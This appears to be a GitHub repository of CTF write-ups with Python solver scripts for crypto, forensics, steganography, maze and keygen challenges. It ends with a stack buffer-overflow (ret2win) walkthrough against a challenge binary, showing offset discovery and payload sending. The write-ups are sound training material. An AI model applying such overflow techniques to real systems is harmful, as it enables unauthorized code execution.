numBytes = 4-(len(message)%4) 15 | return message + numBytes * chr(numBytes) 16 | 17 | def hexpad(hexBlock): 18 | numZeros = 8 - len(hexBlock) 19 | return numZeros*"0" + hexBlock 20 | 21 | def permute(hexBlock): 22 | permutation = [6, 22, 30, 18, 29, 4, 23, 19, 23 | 15, 1, 31, 11, 28, 14, 25, 2, 24 | 27, 12, 21, 26, 10, 16, 0, 24, 25 | 7, 5, 3, 20, 13, 9, 17, 8] 26 | block = int(hexBlock, 16) 27 | permutedBlock = 0 28 | for i in range(32): 29 | bit = (block & (1 << i)) >> i 30 | permutedBlock |= bit << permutation[i] 31 | return hexpad(hex(permutedBlock)[2:]) 32 | 33 | def round(hexMessage): 34 | numBlocks = len(hexMessage)//8 35 | substitutedHexMessage = "" 36 | for i in range(numBlocks): 37 | substitutedHexMessage += substitute(hexMessage[8*i:8*i+8]) 38 | permutedHexMessage = "" 39 | for i in range(numBlocks): 40 | permutedHexMessage += permute(substitutedHexMessage[8*i:8*i+8]) 41 | return permutedHexMessage 42 | 43 | 44 | 45 | if __name__ == "__main__": 46 | hexMessage = str(hexlify(str.encode(pad(sys.argv[1])))) 47 | if "\'" in hexMessage: 48 | hexMessage = hexMessage[2:-1] 49 | 50 | for i in range(10000): 51 | hexMessage = round(hexMessage) 52 | print (hexMessage) 53 | -------------------------------------------------------------------------------- /2019/NACTF/Cryptography/Super Duper AES/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from binascii import hexlify 3 | 4 | 5 | def substitute(hex_block): 6 | substituted_hex_block = '' 7 | # substitution = [8, 4, 15, 9, 3, 14, 6, 2, 13, 1, 7, 5, 12, 10, 11, 0] 8 | substitution = [15, 9, 7, 4, 1, 11, 6, 10, 0, 3, 13, 14, 12, 8, 5, 2] 9 | for hex_digit in hex_block: 10 | new_digit = substitution[int(hex_digit, 16)] 11 | substituted_hex_block += hex(new_digit)[2:] 12 | return substituted_hex_block 13 | 14 | 15 | def pad(message): 16 | num_bytes = 4 - (len(message) % 4) 17 | return message + num_bytes * chr(num_bytes) 18 | 19 | 20 | def hexpad(hex_block): 21 | num_zeros = 8 - len(hex_block) 22 | return num_zeros * '0' + hex_block 23 | 24 | 25 | def permute(hex_block): 26 | # permutation = [ 27 | # 6, 22, 30, 18, 29, 4, 23, 19, 15, 1, 31, 11, 28, 14, 25, 2, 27, 12, 21, 26, 10, 16, 0, 24, 7, 5, 3, 20, 13, 9, 17, 8 28 | # ] 29 | permutation = [ 30 | 22, 9, 15, 26, 5, 25, 0, 24, 31, 29, 20, 11, 17, 28, 13, 8, 21, 30, 3, 7, 27, 18, 1, 6, 23, 14, 19, 16, 12, 4, 2, 10 31 | ] 32 | block = int(hex_block, 16) 33 | permuted_block = 0 34 | for i in range(32): 35 | bit = (block & (1 << i)) >> i 36 | permuted_block |= bit << permutation[i] 37 | return hexpad(hex(permuted_block)[2:]) 38 | 39 | 40 | def round(hex_message): 41 | num_blocks = len(hex_message) // 8 42 | permuted_hex_message = '' 43 | for i in range(num_blocks): 44 | permuted_hex_message += permute(hex_message[8 * i: 8 * i + 8]) 45 | substituted_hex_message = '' 46 | for i in range(num_blocks): 47 | substituted_hex_message += substitute( 48 | permuted_hex_message[8 * i: 8 * i + 8] 49 | ) 50 | return substituted_hex_message 51 | 52 | 53 | hex_message = 'd59fd3f37182486a44231de4713131d20324fbfe80e91ae48658ba707cb84841972305fc3e0111c753733cf2' 54 | 55 | for i in range(10000): 56 | hex_message = round(hex_message) 57 | 58 | print(hex_message.decode('hex')) 59 | -------------------------------------------------------------------------------- /2019/NACTF/Forensics/Phuzzy Photo/README.md: -------------------------------------------------------------------------------- 1 | # Phuzzy Photo 2 | 3 | ## Problem 4 | 5 | > Joyce's friend just sent her this photo, but it's really fuzzy. She has no idea what the message says but she thinks she can make out some black text in the middle. She gave the photo to Oligar, but even his super eyes couldn't read the text. Maybe you can write some code to find the message?
6 | Also, you might have to look at your screen from an angle to see the blurry hidden text
7 | P.S. Joyce's friend said that part of the message is hidden in every 6th pixel 8 | 9 | [pic.png](pic.png) 10 | 11 | ## Solution 12 | 13 | We extract every 6th pixel from the image if it is not white. 14 | 15 | [Python script](solver.py) 16 | -------------------------------------------------------------------------------- /2019/NACTF/Forensics/Phuzzy Photo/pic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/NACTF/Forensics/Phuzzy Photo/pic.png -------------------------------------------------------------------------------- /2019/NACTF/Forensics/Phuzzy Photo/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from PIL import Image 3 | 4 | 5 | im = Image.open('pic.png') 6 | out = Image.new('I', im.size, 0) 7 | 8 | width, height = im.size 9 | for x in range(width): 10 | for y in range(height): 11 | r, g, b, _ = im.getpixel((x, y)) 12 | if y % 6 == 0 and x % 6 == 0 and (r < 255 or g < 255 or b < 255): 13 | out.putpixel((x, y), 0xffffff) 14 | 15 | out.save('pic2.png') 16 | -------------------------------------------------------------------------------- /2019/NACTF/README.md: -------------------------------------------------------------------------------- 1 | # NACTF 2019 Write-Ups 2 | 3 | [NACTF](https://www.nactf.com/) is a CTF competition hosted by [Newark Academy](https://www.newarka.edu/)'s Computer Science Club. 4 | 5 | ## Index 6 | 7 | ### Binary Exploitation 8 | 9 | | Task | Points | 10 | |---------------------------------------------------------------------|:----------------:| 11 | | [BufferOverflow #1](Binary%20Exploitation/BufferOverflow%20%231) | 200 | 12 | | [BufferOverflow #2](Binary%20Exploitation/BufferOverflow%20%232) | 200 | 13 | | [Format #0](Binary%20Exploitation/Format%20%230) | 200 | 14 | | [Format #1](Binary%20Exploitation/Format%20%231) | 250 | 15 | | [Loopy #0](Binary%20Exploitation/Loopy%20%230) | 350 | 16 | | [Loopy #1](Binary%20Exploitation/Loopy%20%231) | 500 | 17 | 18 | ### Cryptography 19 | 20 | | Task | Points | 21 | |------------------------------------------------------------------------------------------------------------------------------------|:----------------:| 22 | | [Reversible Sneaky Algorithm #0](Cryptography/Reversible%20Sneaky%20Algorithm%20%230) | 125 | 23 | | [Super Duper AES](Cryptography/Super%20Duper%20AES) | 250 | 24 | | [Reversible Sneaky Algorithm #1](Cryptography/Reversible%20Sneaky%20Algorithm%20%231) | 275 | 25 | | [Dr. J's Group Test Randomizer: Board Problem #1](Cryptography/Dr.%20J's%20Group%20Test%20Randomizer%20Board%20Problem%20%231) | 300 | 26 | 27 | ### Forensics 28 | 29 | | Task | Points | 30 | |---------------------------------------------------------------------|:----------------:| 31 | | [Phuzzy Photo](Forensics/Phuzzy%20Photo) | 250 | 32 | 33 | ### Reverse Engineering 34 | 35 | | Task | Points | 36 | |---------------------------------------------------------------------|:----------------:| 37 | | [Keygen](Reverse%20Engineering/Keygen) | 600 | 38 | -------------------------------------------------------------------------------- /2019/NACTF/Reverse Engineering/Keygen/README.md: -------------------------------------------------------------------------------- 1 | # Keygen 2 | 3 | ## Problem 4 | 5 | > Can you figure out what the key to this program is? 6 | 7 | [keygen-1](keygen-1) 8 | 9 | ## Hints 10 | 11 | > - Don't know where to start? Fire up a debugger, or look for cross-references to data you know something about. 12 | 13 | ## Solution 14 | 15 | [Python script](solver.py) 16 | -------------------------------------------------------------------------------- /2019/NACTF/Reverse Engineering/Keygen/keygen-1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/NACTF/Reverse Engineering/Keygen/keygen-1 -------------------------------------------------------------------------------- /2019/NACTF/Reverse Engineering/Keygen/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' 3 | target = 0x1371fcaacf98 4 | 5 | 6 | def get_value(char): 7 | value = ord(char) 8 | if value < 0x3a: 9 | value += 0x4 10 | elif value < 0x5b: 11 | value -= 0x41 12 | else: 13 | value -= 0x47 14 | return value 15 | 16 | 17 | def get_flag(): 18 | flag = '' 19 | total = 0 20 | for i in range(8): 21 | total *= 0x3e 22 | prev = '' 23 | for c in chars: 24 | if (total + get_value(c)) * 0x3e ** (7 - i) > target: 25 | break 26 | prev = c 27 | flag += prev 28 | total += get_value(prev) 29 | 30 | print('nactf{' + flag + '}') 31 | 32 | 33 | get_flag() 34 | -------------------------------------------------------------------------------- /2019/Reply-Cyber-Security-Challenge/CODING/Jumpyrinth/README.md: -------------------------------------------------------------------------------- 1 | # Jumpyrinth 2 | 3 | ## Problem 4 | 5 | > While doing his mission preparation tests, R-boy notices in the file he's reading that the data has been inserted in a mysterious order. Read the text with him and discover what's behind it. 6 | 7 | [jumpyrinth.zip](jumpyrinth.zip) 8 | 9 | ## Solution 10 | 11 | After extracting the ZIP file provided, we get 2 `.txt` files: `RULES.txt` and a file with weird symbols. The contents of `RULES.txt` are not completely clear but they seem to be some instructions on traversing a path and storing some characters in a `FLAG` string using a stack. 12 | 13 | Since `RULES.txt` indicates that the weird characters represent some kind of labyrinth, we can proceed to rename the text file containing them to `maze.txt`. Moving on, we notice that the `$` character is supposed to represent the start of the path. However, there are several of these in our maze. Therefore, we guessed that there were several strings hidden in the maze, and we assumed that one of them would be the flag. 14 | 15 | Given the flag format for the CTF, `{FLG:}`, we wrote a Python script to find the flag. 16 | 17 | [Python script](solver.py) 18 | -------------------------------------------------------------------------------- /2019/Reply-Cyber-Security-Challenge/CODING/Jumpyrinth/jumpyrinth.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/Reply-Cyber-Security-Challenge/CODING/Jumpyrinth/jumpyrinth.zip -------------------------------------------------------------------------------- /2019/Reply-Cyber-Security-Challenge/CODING/Jumpyrinth/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | maze = [] 3 | 4 | 5 | def get_number(start, direction): 6 | number = '' 7 | while get_char(start).isdigit(): 8 | number += get_char(start) 9 | start = (start[0] + direction[0], start[1] + direction[1]) 10 | return int(number) 11 | 12 | 13 | def get_char(pos): 14 | return maze[pos[0]][pos[1]] 15 | 16 | 17 | def solve_path(start): 18 | pos = (start[0] + 1, start[1]) 19 | stack = [] 20 | flag = '' 21 | 22 | char = get_char(pos) 23 | while char != '#': 24 | if char == '@': 25 | return flag 26 | elif char == '(': 27 | flag = stack.pop() + flag 28 | jump = get_number((pos[0], pos[1] + 1), (0, 1)) 29 | pos = (pos[0], pos[1] - jump) 30 | elif char == ')': 31 | flag += stack.pop() 32 | jump = get_number((pos[0], pos[1] - 1), (0, -1)) 33 | pos = (pos[0], pos[1] + jump) 34 | elif char == '-': 35 | flag = flag[1:] 36 | jump = get_number((pos[0] + 1, pos[1]), (1, 0)) 37 | pos = (pos[0] - jump, pos[1]) 38 | elif char == '+': 39 | flag = flag[:-1] 40 | jump = get_number((pos[0] - 1, pos[1]), (-1, 0)) 41 | pos = (pos[0] + jump, pos[1]) 42 | elif char == '%': 43 | flag = flag[::-1] 44 | pos = (pos[0] + 1, pos[1]) 45 | elif char == '[': 46 | stack.append(get_char((pos[0], pos[1] + 1))) 47 | pos = (pos[0], pos[1] + 2) 48 | elif char == ']': 49 | stack.append(get_char((pos[0], pos[1] - 1))) 50 | pos = (pos[0], pos[1] - 2) 51 | elif char == '*': 52 | stack.append(get_char((pos[0] - 1, pos[1]))) 53 | pos = (pos[0] - 2, pos[1]) 54 | elif char == '.': 55 | stack.append(get_char((pos[0] + 1, pos[1]))) 56 | pos = (pos[0] + 2, pos[1]) 57 | elif char == '<': 58 | jump = get_number((pos[0], pos[1] + 1), (0, 1)) 59 | pos = (pos[0], pos[1] - jump) 60 | elif char == '>': 61 | jump = get_number((pos[0], pos[1] - 1), (0, -1)) 62 | pos = (pos[0], pos[1] + jump) 63 | elif char == '^': 64 | jump = get_number((pos[0] + 1, pos[1]), (1, 0)) 65 | pos = (pos[0] - jump, pos[1]) 66 | elif char == 'v': 67 | jump = get_number((pos[0] - 1, pos[1]), (-1, 0)) 68 | pos = (pos[0] + jump, pos[1]) 69 | char = get_char(pos) 70 | 71 | return '' 72 | 73 | 74 | with open('maze.txt', 'r') as f: 75 | lines = f.readlines() 76 | starts = [] 77 | 78 | # Find starting position: 79 | i = 0 80 | for line in lines: 81 | maze.append(line) 82 | j = 0 83 | for char in line: 84 | if char == '$': 85 | starts.append((i, j)) 86 | j += 1 87 | i += 1 88 | 89 | for start in starts: 90 | flag = solve_path(start) 91 | if '{FLG:' in flag: 92 | print(flag) 93 | -------------------------------------------------------------------------------- /2019/Reply-Cyber-Security-Challenge/CRYPTO/LogCaesar/README.md: -------------------------------------------------------------------------------- 1 | # LogCaesar 2 | 3 | ## Problem 4 | 5 | > The satellite communications have stopped working – suddenly they're sending back unknown algorithms. Help R-boy decipher them. 6 | 7 | [encrypt.py](encrypt.py) 8 | 9 | [encrypted.txt](encrypted.txt) 10 | 11 | ## Solution 12 | 13 | We are given 2 things, some ciphertext and the code which was used to encrypt it. 14 | 15 | Since we are given the encrypt function, we can go ahead and reverse it. The problem is that we do not know the 256-digit key that was used for the encryption. 16 | 17 | However, not knowing the 256-digit key turns out not to be a problem due to the line `new_pos = (3**(key+i)) % 257`. The key is used to generate a new position by generating a value based on powers of 3. For all the possible values of the 256-digit key, there are only 256 possible outputs. Moreover, since 3 is a [primitive root](https://en.wikipedia.org/wiki/Primitive_root_modulo_n) modulo 257 (they are coprime), this would result in a cyclic sequence. The only variable that determines the ciphertext, apart from the plaintext itself, is the starting point of the sequence, which is a number from `1` to `257` (which translates to an array index from `0` to `256` due to the use of `ciphertext[new_pos-1]`). This number becomes our actual key, and we are able to brute-force it until we find a flag in our required format, `{FLG:}`. 18 | 19 | [Python script](solver.py) 20 | -------------------------------------------------------------------------------- /2019/Reply-Cyber-Security-Challenge/CRYPTO/LogCaesar/encrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | 4 | if len(sys.argv) != 4: 5 | print("Usage: "+sys.argv[0]+" message_file key encrypted") 6 | sys.exit(1) 7 | 8 | def encrypt(message, key): 9 | with open(message, 'rb') as content_file: 10 | content = content_file.read() 11 | if len(content) != 256: 12 | raise Exception('This is a block cipher, messages have to be exactly 256 bytes long') 13 | ciphertext = list(' ' * 256) 14 | for i in range(0,256): 15 | new_pos = (3**(key+i)) % 257 16 | ciphertext[new_pos-1] = ((content[i])^i)^(new_pos-1) 17 | return bytes(ciphertext) 18 | 19 | ciphertext = encrypt(sys.argv[1],int(sys.argv[2])) 20 | with open(sys.argv[3],'wb') as encryped_file: 21 | encryped_file.write(ciphertext) 22 | 23 | 24 | -------------------------------------------------------------------------------- /2019/Reply-Cyber-Security-Challenge/CRYPTO/LogCaesar/encrypted.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/Reply-Cyber-Security-Challenge/CRYPTO/LogCaesar/encrypted.txt -------------------------------------------------------------------------------- /2019/Reply-Cyber-Security-Challenge/CRYPTO/LogCaesar/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | encrypted = '' 3 | 4 | with open('encrypted.txt', 'rb') as f: 5 | encrypted = f.read() 6 | 7 | 8 | def decrypt(key): 9 | plaintext = '' 10 | for i in range(0, 256): 11 | pos = (3**(key + i)) % 257 - 1 12 | plaintext += chr(((encrypted[pos]) ^ i) ^ pos) 13 | return plaintext 14 | 15 | 16 | for key in range(1, 257): 17 | plain = decrypt(key) 18 | if '{FLG:' in plain: 19 | print(plain) 20 | -------------------------------------------------------------------------------- /2019/Reply-Cyber-Security-Challenge/MISCELLANEOUS/Deep mid-space/2001.mid: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/Reply-Cyber-Security-Challenge/MISCELLANEOUS/Deep mid-space/2001.mid -------------------------------------------------------------------------------- /2019/Reply-Cyber-Security-Challenge/MISCELLANEOUS/Deep mid-space/README.md: -------------------------------------------------------------------------------- 1 | # Deep mid-space 2 | 3 | ## Problem 4 | 5 | > Suddenly, in the silence of the control room, a strange music can be heard, but none of the space team have put it on. 6 | R-boy is on his way to find out what the heck is going on. 7 | 8 | ## Solution 9 | 10 | For this challenge, we are given a website which is playing the [2001: A Space Odyssey](https://en.wikipedia.org/wiki/2001:_A_Space_Odyssey_(film)) soundtrack. 11 | 12 | ![Website screenshot](website_screenshot.jpeg) 13 | 14 | Looking at the source code, we find the soundtrack file, `2001.mid`. 15 | 16 | One way to hide messages in MIDI files is using the "Program change" message. This is a type of event which does not correspond to any audio, but instead is used to control device configurations. 17 | 18 | We downloaded [stegano_midi](https://github.com/maxcruz/stegano_midi), a program which performs MIDI steganography using the method mentioned above. We made it into an executable, and used the command `stegano_midi --reveal --file=2001.mid` to reveal the message hidden in the file, if any. 19 | 20 | Fortunately, we obtained a base-64-encoded string, which, when decoded, resulted in the flag. 21 | 22 | *NB: Since the website for this challenge is not up anymore, we included the MIDI file along with this write-up.* 23 | 24 | [2001.mid](2001.mid) 25 | -------------------------------------------------------------------------------- /2019/Reply-Cyber-Security-Challenge/MISCELLANEOUS/Deep mid-space/website_screenshot.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/Reply-Cyber-Security-Challenge/MISCELLANEOUS/Deep mid-space/website_screenshot.jpeg -------------------------------------------------------------------------------- /2019/Reply-Cyber-Security-Challenge/MISCELLANEOUS/Deep red dust/Deep_Red_Dust: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/Reply-Cyber-Security-Challenge/MISCELLANEOUS/Deep red dust/Deep_Red_Dust -------------------------------------------------------------------------------- /2019/Reply-Cyber-Security-Challenge/MISCELLANEOUS/Deep red dust/Deep_Red_Dust.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/Reply-Cyber-Security-Challenge/MISCELLANEOUS/Deep red dust/Deep_Red_Dust.png -------------------------------------------------------------------------------- /2019/Reply-Cyber-Security-Challenge/MISCELLANEOUS/Deep red dust/README.md: -------------------------------------------------------------------------------- 1 | # Deep red dust 2 | 3 | ## Problem 4 | 5 | > Armstrong, the Astronaut-in-Chief has sent an email saying he's leaving the Mars mission. This is very odd, especially as Armstrong has spent decades working on the project. His email contains an attachment in an unknown format. What is it? R-boy must dig deeper to find out what's going on – help him investigate. 6 | 7 | [Deep_Red_Dust](Deep_Red_Dust) 8 | 9 | ## Solution 10 | 11 | We are given a file called `Deep_Red_Rust` which seems to be a ZIP archive: 12 | 13 | ```bash 14 | $ file Deep_Red_Dust 15 | Deep_Red_Dust: Zip archive data, �T�!A+BL��~b�n5�F�5�3�-D_�f��:Wa�|U�>.. .IDATx. 27 | ``` 28 | 29 | The first 4 bytes are set to `RBOY`, which is a non-standard header. But the string `IHDR` seems to indicate a PNG image. 30 | 31 | We used `hexedit` to replace the first 4 bytes with `89 50 4E 47`, which are the PNG magic bytes. 32 | 33 | We get the following image, which contains the text `K33pItS3cr3t` written in the sand: 34 | 35 | ![Image with K33pItS3cr3t written in the sand](Deep_Red_Dust.png) 36 | 37 | The ZIP file detected by the `file` command is embedded in the image and we can extract it using `binwalk` with the `-e` flag. The ZIP file was password-protected and the password was, of course, `K33pItS3cr3t`. 38 | 39 | On extracting the ZIP file, we are left with a file called `Goodbye.docm`. The `.docm` extension is used for MS Word documents with macros enabled. 40 | 41 | Using [oletools](https://github.com/decalage2/oletools) to extract the macro VBA code, we get the following: 42 | 43 | ``` 44 | $ olevba Goodbye.docm 45 | olevba 0.54.2 on Python 2.7.16 - http://decalage.info/python/oletools 46 | =============================================================================== 47 | FILE: Goodbye.docm 48 | Type: OpenXML 49 | ------------------------------------------------------------------------------- 50 | VBA MACRO ThisDocument.cls 51 | in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument' 52 | - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 53 | Private Sub CommandButton1_Click() 54 | If Not (TextBox1.TextLength = 0) Then 55 | Dim tbox As String 56 | tbox = TextBox1.Text 57 | Dim encrypt As Variant 58 | encrypt = Array(52, 54, 60, 40, 72, 64, 42, 35, 93, 26, 38, 110, 3, 47, 56, 26, 64, 1, 49, 33, 71, 38, 7, 25, 20, 92, 1, 9) 59 | Dim inputChar() As Byte 60 | inputChar = StrConv(tbox, vbFromUnicode) 61 | Dim plaintext(28) As Variant 62 | Dim i As Integer 63 | For i = 0 To 27 64 | plaintext(i) = inputChar(i Mod TextBox1.TextLength) Xor encrypt(i) 65 | Next 66 | MsgBox "Congrats!!" 67 | End If 68 | End Sub 69 | ``` 70 | 71 | We can deduce that the macro takes an input from a text box and uses it to XOR the encrypted flag. Since we know the flag format, we can use this knowledge to obtain the first five letters from the key. 72 | 73 | Using Python, 74 | 75 | ```py 76 | >>> import sys 77 | >>> encrypted = [52, 54, 60, 40, 72] 78 | >>> flag_format = '{FLG:' 79 | >>> for i, j in zip(encrypted, flag_format): 80 | ... print(chr(i ^ ord(j))) 81 | ... 82 | Oppor 83 | ``` 84 | 85 | The first 5 characters of the key are `'Oppur'`. Judging by the Mars-themed challenge, we suspected that the key might be `'Opportunity'`. Luckily for us, this was correct: 86 | 87 | ```py 88 | >>> encrypted = [52, 54, 60, 40, 72, 64, 42, 35, 93, 26, 38, 110, 3, 47, 56, 26, 64, 1, 49, 33, 71, 38, 7, 25, 20, 92, 1, 9] 89 | >>> key = "Opportunity" 90 | >>> 91 | >>> for i in range(len(encrypted)): 92 | ... print(chr(encrypted[i] ^ ord(key[i % len(key)]))) 93 | ... 94 | {FLG:4_M4n_!s_Wh4t_H3_Hid3s} 95 | ``` 96 | -------------------------------------------------------------------------------- /2019/Reply-Cyber-Security-Challenge/README.md: -------------------------------------------------------------------------------- 1 | # Reply Cyber Security Challenge 2019 Write-Ups 2 | 3 | The [Reply Cyber Security Challenge](https://challenges.reply.com/tamtamy/challenges/category/cybersecurity) is an annual CTF created by Italian tech company [Reply](https://www.reply.com/en/). 4 | 5 | ## Index 6 | 7 | ### CODING 8 | 9 | | Task | Points | 10 | |---------------------------------------------------------------------|:----------------:| 11 | | [Jumpyrinth](CODING/Jumpyrinth) | 100 | 12 | 13 | ### CRYPTO 14 | 15 | | Task | Points | 16 | |---------------------------------------------------------------------|:----------------:| 17 | | [LogCaesar](CRYPTO/LogCaesar) | 100 | 18 | 19 | ### MISCELLANEOUS 20 | 21 | | Task | Points | 22 | |---------------------------------------------------------------------|:----------------:| 23 | | [Deep mid-space](MISCELLANEOUS/Deep%20mid-space) | 100 | 24 | | [Deep red dust](MISCELLANEOUS/Deep%20red%20dust) | 200 | 25 | -------------------------------------------------------------------------------- /2020/H@cktivityCon-CTF/Binary Exploitation/Pancakes/README.md: -------------------------------------------------------------------------------- 1 | # Pancakes 2 | 3 | ## Problem 4 | 5 | > How many flap-jacks are on your stack?

6 | Connect with:
7 | `nc jh2i.com 50021` 8 | 9 | [pancakes](pancakes) 10 | 11 | ## Solution 12 | 13 | We are given an ELF 64-bit LSB executable. Normally, we would want to reverse-engineer or decompile the binary in order to understand what it does. However, this is an easy challenge, and we will try to solve it without any reverse engineering. 14 | 15 | When running the binary, we are asked to provide some input: 16 | 17 | ```console 18 | > ./pancakes 19 | Welcome to the pancake stacker! 20 | How many pancakes do you want? 21 | ``` 22 | 23 | Let's start by running `checksec` against the binary to get an idea of the protection mechanisms present. 24 | 25 | ```console 26 | > checksec pancakes 2> >(sed '3,6!d') 27 | RELRO: Partial RELRO 28 | Stack: No canary found 29 | NX: NX enabled 30 | PIE: No PIE (0x400000) 31 | ``` 32 | 33 | We can proceed to test if the binary is vulnerable to buffer overflow by providing a very long string as the input: 34 | 35 | ```console 36 | > python -c "print('A' * 200)" | ./pancakes 37 | Welcome to the pancake stacker! 38 | How many pancakes do you want? 39 | Cooking your cakes..... 40 | Smothering them in butter..... 41 | Drowning them in syrup..... 42 | They're ready! Our waiters are bringing them out now... 43 | _____________ 44 | / ___ \ 45 | || \__\ || 46 | || _ || 47 | |\ / \ /| 48 | \ \___/ ^ \___/ / 49 | \\____/_^_\____//_ 50 | __\\____/_^_\____// \ 51 | / \____/_^_\____/ \ \ 52 | // , / 53 | \\___________ ____ / 54 | \_______/ 55 | 56 | [1] 7878 done python -c "print('A' * 200)" | 57 | 7879 segmentation fault ./pancakes 58 | ``` 59 | 60 | We see a segmentation fault. Indeed, the binary is vulnerable. 61 | 62 | We can now tail the system logs to see if we were able to override the instruction pointer: 63 | 64 | ```console 65 | > tail -1 /var/log/syslog 66 | Aug 2 15:56:58 kali kernel: [21197.078532] traps: pancakes[7919] general protection fault ip:40098a sp:7fff0d13d058 error:0 in pancakes[400000+1000] 67 | ``` 68 | 69 | Judging by the "traps" message, it seems that we overflowed the buffer way too much. 70 | 71 | Let's try again with a smaller input. 72 | 73 | ```console 74 | > python -c "print('A' * 155)" | ./pancakes 75 | Welcome to the pancake stacker! 76 | How many pancakes do you want? 77 | Cooking your cakes..... 78 | Smothering them in butter..... 79 | Drowning them in syrup..... 80 | They're ready! Our waiters are bringing them out now... 81 | _____________ 82 | / ___ \ 83 | || \__\ || 84 | || _ || 85 | |\ / \ /| 86 | \ \___/ ^ \___/ / 87 | \\____/_^_\____//_ 88 | __\\____/_^_\____// \ 89 | / \____/_^_\____/ \ \ 90 | // , / 91 | \\___________ ____ / 92 | \_______/ 93 | 94 | [1] 7959 done python -c "print('A' * 155)" | 95 | 7960 segmentation fault ./pancakes 96 | > tail -2 /var/log/syslog 97 | Aug 2 16:01:00 kali kernel: [21439.310210] pancakes[7960]: segfault at 7f7700414141 ip 00007f7700414141 sp 00007fff7f31cf50 error 14 in libc-2.30.so[7f77e5d63000+25000] 98 | Aug 2 16:01:00 kali kernel: [21439.310249] Code: Bad RIP value. 99 | ``` 100 | 101 | We can see some `41`s in the instruction pointer, which is the hex value of A. Since we passed an input which is 155 characters long, and we overwrote the instruction pointer by 3 `A`s, we can identify that the offset is 152. 102 | 103 | If we override the instruction pointer with the address of a function of our choice, that function will be called. 104 | 105 | Let's look at the list of symbols in the text (code) section of the binary: 106 | 107 | ```console 108 | > nm -an pancakes | c++filt | grep " T " 109 | 0000000000400648 T _init 110 | 0000000000400700 T _start 111 | 0000000000400730 T _dl_relocate_static_pie 112 | 00000000004007e7 T main 113 | 000000000040098b T secret_recipe 114 | 0000000000400a00 T __libc_csu_init 115 | 0000000000400a70 T __libc_csu_fini 116 | 0000000000400a74 T _fini 117 | ``` 118 | 119 | The `secret_recipe` function looks interesting. 120 | 121 | Let's note its address and write a Python script to call it with the help of pwntools. 122 | 123 | [Python script](solver.py) 124 | 125 | ```console 126 | > ./solver.py 127 | [+] Starting local process './pancakes': pid 8234 128 | Welcome to the pancake stacker! 129 | How many pancakes do you want? 130 | 131 | [>] Sending payload aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaab @\x00\x00\x00... 132 | [*] Switching to interactive mode 133 | Cooking your cakes..... 134 | Smothering them in butter..... 135 | Drowning them in syrup..... 136 | They're ready! Our waiters are bringing them out now... 137 | _____________ 138 | / ___ \ 139 | || \__\ || 140 | || _ || 141 | |\ / \ /| 142 | \ \___/ ^ \___/ / 143 | \\____/_^_\____//_ 144 | __\\____/_^_\____// \ 145 | / \____/_^_\____/ \ \ 146 | // , / 147 | \\___________ ____ / 148 | \_______/ 149 | 150 | [*] Got EOF while reading in interactive 151 | $ 152 | ``` 153 | 154 | It seems that the `secret_recipe` function didn't do anything. Before we try to reverse-engineer the function's code, let's try to create a dummy `flag.txt` file. Since this is a CTF, there is a big chance that `secret_recipe` reads the contents of a file called `flag.txt`. 155 | 156 | ```console 157 | > echo "flag{test}" > flag.txt 158 | > ./solver.py 159 | [+] Starting local process './pancakes': pid 8234 160 | Welcome to the pancake stacker! 161 | How many pancakes do you want? 162 | 163 | [>] Sending payload aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaab @\x00\x00\x00... 164 | [*] Switching to interactive mode 165 | Cooking your cakes..... 166 | Smothering them in butter..... 167 | Drowning them in syrup..... 168 | They're ready! Our waiters are bringing them out now... 169 | _____________ 170 | / ___ \ 171 | || \__\ || 172 | || _ || 173 | |\ / \ /| 174 | \ \___/ ^ \___/ / 175 | \\____/_^_\____//_ 176 | __\\____/_^_\____// \ 177 | / \____/_^_\____/ \ \ 178 | // , / 179 | \\___________ ____ / 180 | \_______/ 181 | 182 | flag{test} 183 | 184 | [*] Got EOF while reading in interactive 185 | $ 186 | ``` 187 | 188 | Our assumption was correct, it was a simple ret2win. 189 | -------------------------------------------------------------------------------- /2020/H@cktivityCon-CTF/Binary Exploitation/Pancakes/pancakes: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2020/H@cktivityCon-CTF/Binary Exploitation/Pancakes/pancakes -------------------------------------------------------------------------------- /2020/H@cktivityCon-CTF/Binary Exploitation/Pancakes/solver.py: 